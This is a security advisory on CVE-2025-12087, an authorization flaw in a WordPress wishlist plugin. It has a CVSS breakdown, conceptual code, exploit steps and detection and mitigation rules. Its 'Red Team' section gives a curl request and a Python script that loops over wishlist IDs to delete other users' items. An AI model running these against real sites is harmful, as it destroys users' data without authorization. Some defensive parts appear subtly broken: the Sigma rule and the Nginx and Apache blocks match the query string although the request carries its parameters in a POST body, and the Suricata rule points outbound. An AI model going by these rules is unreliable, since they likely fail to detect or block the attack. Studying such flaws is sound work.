CVE-2025-12087

Executive Summary

CVE-2025-12087 is an Insecure Direct Object Reference (IDOR) vulnerability discovered in the Wishlist and Save for later for Woocommerce WordPress plugin, affecting all versions up to and including 1.1.22. The flaw resides in the awwlm_remove_added_wishlist_page AJAX action, where a user-controlled key is not properly validated. This allows authenticated attackers with Subscriber-level access or higher to delete wishlist items belonging to other users. The vulnerability has a CVSS score of 4.3 (Medium), and no patch is currently available. As this is a WordPress plugin vulnerability, it is critical for site administrators to monitor for updates and implement virtual patching.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation. Administrators should verify the integrity of the plugin files and consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated user with Subscriber-level access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – allows deletion of wishlist items
• Availability Impact: None (A:N)

The low EPSS score (0.0%) suggests limited active exploitation, but the ease of exploitation and lack of patch make it a potential target for automated attacks.

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (CWE-639) in the WordPress AJAX handler awwlm_remove_added_wishlist_page. The plugin fails to verify that the authenticated user owns the wishlist item being deleted. The AJAX action accepts a wishlist_id or similar key parameter without checking if it belongs to the current user. An attacker can enumerate wishlist IDs (often sequential integers) and delete items from any user's wishlist.

Root Cause: Missing authorization check in the AJAX callback function. The code likely performs a database delete operation based solely on the provided ID, without verifying ownership.

Attack Flow:

1. Authenticate as a Subscriber (or higher).
2. Send a POST request to /wp-admin/admin-ajax.php with action=awwlm_remove_added_wishlist_page and a target wishlist_id.
3. The plugin deletes the wishlist item from the database without checking if the current user owns it.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's main AJAX handler. A patched version would include an ownership check.

Vulnerable Code (Conceptual):

add_action('wp_ajax_awwlm_remove_added_wishlist_page', 'awwlm_remove_wishlist_item');
function awwlm_remove_wishlist_item() {
    $wishlist_id = $_POST['wishlist_id'];
    global $wpdb;
    $wpdb->delete("{$wpdb->prefix}wishlist_table", array('id' => $wishlist_id));
    wp_die();
}

Patched Code (Conceptual):

add_action('wp_ajax_awwlm_remove_added_wishlist_page', 'awwlm_remove_wishlist_item');
function awwlm_remove_wishlist_item() {
    $wishlist_id = intval($_POST['wishlist_id']);
    $user_id = get_current_user_id();
    global $wpdb;
    $item = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}wishlist_table WHERE id = %d AND user_id = %d", $wishlist_id, $user_id));
    if ($item) {
        $wpdb->delete("{$wpdb->prefix}wishlist_table", array('id' => $wishlist_id));
    }
    wp_die();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with vulnerable plugin (<=1.1.22)
• Valid user account (Subscriber or higher)
• Knowledge of a target wishlist ID (can be brute-forced)

Exploit Steps:

1. Log in to WordPress and obtain a valid nonce (if required) by inspecting the AJAX request from the wishlist page.
2. Send a crafted POST request:

curl -X POST 'http://target/wp-admin/admin-ajax.php' \
  -d 'action=awwlm_remove_added_wishlist_page&wishlist_id=42&_ajax_nonce=YOUR_NONCE' \
  --cookie 'wordpress_logged_in_xxx=YOUR_COOKIE'

3. Repeat with different wishlist_id values to delete multiple items.

Automation Script (Python):

import requests

target = "http://target/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_xxx": "your_cookie"}
nonce = "your_nonce"

for wid in range(1, 100):
    data = {
        "action": "awwlm_remove_added_wishlist_page",
        "wishlist_id": wid,
        "_ajax_nonce": nonce
    }
    r = requests.post(target, data=data, cookies=cookies)
    if "success" in r.text:
        print(f"Deleted wishlist item {wid}")

Blue Team

Detection:

• Monitor AJAX requests to admin-ajax.php with action=awwlm_remove_added_wishlist_page from non-admin users.
• Look for rapid sequential wishlist_id values in logs.
• Alert on deletion of wishlist items by users who do not own them.

Honeypot:

• Create a fake wishlist item with a known ID and monitor for unauthorized deletion attempts.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=awwlm_remove_added_wishlist_page and varying wishlist_id parameters.
• Logs: WordPress debug log entries showing awwlm_remove_added_wishlist_page AJAX calls from unexpected user roles.
• Database: Missing wishlist entries in the wp_wishlist_table (or similar) without corresponding user activity.
• File: No specific file IOCs; the vulnerability is logic-based.

Detection Engineering

YARA Rule

rule CVE_2025_12087_Wishlist_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2025-12087 in WordPress wishlist plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-12087"
    strings:
        $ajax_action = "awwlm_remove_added_wishlist_page"
        $wishlist_id = "wishlist_id"
    condition:
        $ajax_action and $wishlist_id
}

Sigma Rule

title: CVE-2025-12087 WordPress Wishlist IDOR Exploitation
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects attempts to exploit IDOR in Wishlist and Save for later plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=awwlm_remove_added_wishlist_page'
        cs-uri-query|contains: 'wishlist_id='
    condition: selection
falsepositives:
    - Legitimate wishlist management by the owner
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-12087 WordPress Wishlist IDOR Exploitation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=awwlm_remove_added_wishlist_page"; http_client_body;
    content:"wishlist_id="; http_client_body;
    classtype:attempted-user;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block AJAX requests to awwlm_remove_added_wishlist_page from non-admin users.
3. Monitor logs for suspicious deletion patterns.

Long-term Fix:

• Apply a patch from the vendor when available.
• Consider replacing the plugin with an alternative that has proper authorization checks.

Virtual Patching (Nginx):

location = /wp-admin/admin-ajax.php {
    if ($arg_action = "awwlm_remove_added_wishlist_page") {
        return 403;
    }
}

Virtual Patching (Apache .htaccess):

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{QUERY_STRING} action=awwlm_remove_added_wishlist_page [NC]
    RewriteRule ^wp-admin/admin-ajax\.php - [F,L]
</IfModule>

Valters IT
Securing Digital Frontiers